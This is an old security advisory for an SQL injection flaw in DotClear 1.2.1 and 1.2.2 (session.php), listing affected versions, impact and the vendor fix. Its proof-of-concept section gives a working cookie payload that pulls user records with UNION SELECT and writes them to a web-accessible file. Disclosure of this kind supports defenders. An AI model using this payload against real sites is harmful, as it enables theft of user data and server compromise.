DotClear Session.PHP SQL Injection Vulnerability

BID:15667

Info

DotClear Session.PHP SQL Injection Vulnerability

Bugtraq ID: 15667
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 01 2005 12:00AM
Updated: Dec 01 2005 12:00AM
Credit: Kevin Fernandez "Siegfried" is credited with the discovery of this vulnerability.
Vulnerable: Dotclear Dotclear 1.2.2
Dotclear Dotclear 1.2.1
Not Vulnerable: Dotclear Dotclear 1.2.3

Discussion

DotClear Session.PHP SQL Injection Vulnerability

DotClear is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Exploit / POC

DotClear Session.PHP SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/*

Solution / Fix

DotClear Session.PHP SQL Injection Vulnerability

Solution:
The vendor has released an update addressing this issue.


Dotclear Dotclear 1.2.1

Dotclear Dotclear 1.2.2

References

DotClear Session.PHP SQL Injection Vulnerability

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